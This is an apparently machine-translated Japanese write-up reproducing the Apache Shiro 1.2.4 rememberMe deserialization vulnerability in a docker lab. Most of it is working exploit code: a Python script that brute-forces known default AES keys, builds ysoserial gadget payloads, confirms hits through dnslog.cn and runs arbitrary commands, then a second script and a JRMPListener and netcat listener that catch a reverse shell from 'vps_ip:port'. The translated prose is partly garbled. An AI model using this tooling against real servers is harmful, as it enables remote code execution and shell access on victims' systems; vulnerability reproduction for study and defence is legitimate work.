【脆弱性の再現】shiro 1.2.4アンチシーケンス化脆弱性の再現
50398 ワード
環境準備
dockerを使用して脆弱性環境を迅速に構築する
ワンタッチツール
スクリプト+手動
1.まずhttp://login.jspはburpでパッケージ2をキャプチャし、以下のスクリプトを使用して使用可能なkeyを検出します.
検出はkey:
はその後、この値をクッキーにコピーして発注します.もちろん、その前にリスニングポート
dockerを使用して脆弱性環境を迅速に構築する
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
再現プロセスワンタッチツール
スクリプト+手動
1.まずhttp://login.jspはburpでパッケージ2をキャプチャし、以下のスクリプトを使用して使用可能なkeyを検出します.
#! python2.7
#-*- coding:utf-8 -*-
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES
JAR_FILE = 'ysoserial.jar'
CipherKeys = [
"4AvVhmFLUs0KTA3Kprsdag==",
"3AvVhmFLUs0KTA3Kprsdag==",
"2AvVhdsgUs0FSA3SDFAdag==",
"6ZmI6I2j5Y+R5aSn5ZOlAA==",
"wGiHplamyXlVB11UXWol8g==",
"cmVtZW1iZXJNZQAAAAAAAA==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"ZnJlc2h6Y24xMjM0NTY3OA==",
"L7RioUULEFhRyxM7a2R/Yg==",
"RVZBTk5JR0hUTFlfV0FPVQ==",
"fCq+/xW488hMTCD+cmJ3aQ==",
"WkhBTkdYSUFPSEVJX0NBVA==",
"1QWLxg+NYmxraMoxAXu/Iw==",
"WcfHGU25gNnTxTlmJMeSpw==",
"a2VlcE9uR29pbmdBbmRGaQ==",
"bWluZS1hc3NldC1rZXk6QQ==",
"5aaC5qKm5oqA5pyvAAAAAA==",
"kPH+bIxk5D2deZiIxcaaaA==",
#"ZWvohmPdUsAWT3=KpPqda",
"r0e3c16IdVkouZgk1TKVMg==",
"ZUdsaGJuSmxibVI2ZHc9PQ==",
"U3ByaW5nQmxhZGUAAAAAAA==",
"LEGEND-CAMPUS-CIPHERKEY=="
#"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",
]
gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]
session = requests.Session()
def genpayload(params, CipherKey,fp):
gadget,command = params
if not os.path.exists(fp):
raise Exception('jar file not found')
popen = subprocess.Popen(['java','-jar',fp,gadget,command],
stdout=subprocess.PIPE)
BS = AES.block_size
#print(command)
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
#key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
def getdomain():
try :
ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text
#print('[+] dnslog:'+ret)
except Exception as e:
print("getdomain error:" + str(e))
ret = "error"
pass
return ret
def getrecord():
try :
ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text
#print(ret)
except Exception as e:
print("getrecord error:" + str(e))
ret = "error"
pass
return ret
def check(url):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
print("checking url:" + url)
domain = getdnshost()
if domain:
reversehost = "http://" + domain
for CipherKey in CipherKeys:
ret = {"vul":False,"CipherKey":"","url":target}
try:
print("try CipherKey :" +CipherKey)
payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)
print("generator payload done.")
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print("send payload ok.")
for i in range(1,5):
print("checking.....")
time.sleep(2)
temp = getrecord()
if domain in temp:
ret["vul"] = True
ret["CipherKey"] = CipherKey
break
except Exception as e:
print(str(e))
pass
if ret["vul"]:
break
else:
print("get dns host error")
return ret
def exploit(url,gadget,params,CipherKey):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = genpayload((gadget, params),CipherKey,JAR_FILE)
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print(r.text)
except Exception as e:
print("exploit error:" + str(e))
pass
def getdnshost():
reversehost = ""
try :
domain = getdomain()
if domain=="error":
print("getdomain error")
else:
#reversehost = "http://" +domain
reversehost = domain
#print("got reversehost : " + reversehost)
except:
pass
return reversehost
def detector(url,CipherKey,command):
result = []
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
for g in gadgets:
g = g.strip()
domain = getdnshost()
if domain:
if g == "JRMPClient":
param = "%s:80" % domain
else:
param = command.replace("{dnshost}",domain)
payload = genpayload((g, param),CipherKey,JAR_FILE)
print(g + " testing.....")
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
#print(r.read())
for i in range(1,5):
#print("checking.....")
time.sleep(2)
temp = getrecord()
if domain in temp:
ret = g
#ret["CipherKey"] = CipherKey
result.append(ret)
print("found gadget:\t" + g)
break
else:
print("get dns host error")
#break
#print(r.text)
except Exception as e:
print("detector error:" + str(e))
pass
return result
def parser_error(errmsg):
print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
sys.exit()
def parse_args():
# parse the arguments
parser = argparse.ArgumentParser(epilog="\tExample: \r
python " + sys.argv[0] + " -u target")
parser.error = parser_error
parser._optionals.title = "OPTIONS"
parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)
parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)
parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)
parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)
parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
url = args.url
type = args.type
command = args.params
key = args.key
gadget = args.gadget
if type=="1":
r = check(url)
print("
vulnerable:%s url:%s\tCipherKey:%s
" %(str(r["vul"]),url,r["CipherKey"]))
elif type=="2":
exploit(url,gadget,command,key)
print("exploit done.")
elif type=="3":
r = detector(url,key,command)
if r :
print("found gadget:
")
print(r)
else:
print("invalid type")
検出はkey:
http://www.jackson-t.ca/runtime-exec-payloads.html
4、以下のコマンドを使用してJRMPリスニングjava-cp ysoserial-0.0を起動することができる.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections 5'bash-c'5、以下のスクリプトを使用してrememberMeの値を生成します.import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s : s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()
key = base64.b64encode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == "__main__":
payload = encode_rememberme("vps_ip:port")
print "rememberMe={0}".format(payload.decode())
はその後、この値をクッキーにコピーして発注します.もちろん、その前にリスニングポート
nc -lvvp 8888
を起動しなければなりません.この場合、ターゲット接続JRMPのアクティビティが表示されます.プロセスにエラーがなければ、リバウンドshellも成功しました.